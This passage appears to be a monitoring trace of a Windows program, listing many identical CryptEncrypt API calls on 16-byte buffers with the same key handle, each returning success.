pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.812] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.813] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.813] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.813] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.813] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.813] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.813] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.813] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.813] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.813] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.813] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.813] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.813] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.813] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.813] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.813] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.815] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.815] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.815] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.815] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.815] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.815] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.815] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.815] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.815] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.815] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.815] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.815] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.815] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.815] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.816] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.817] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.817] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.817] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.817] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.817] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.817] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.817] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, 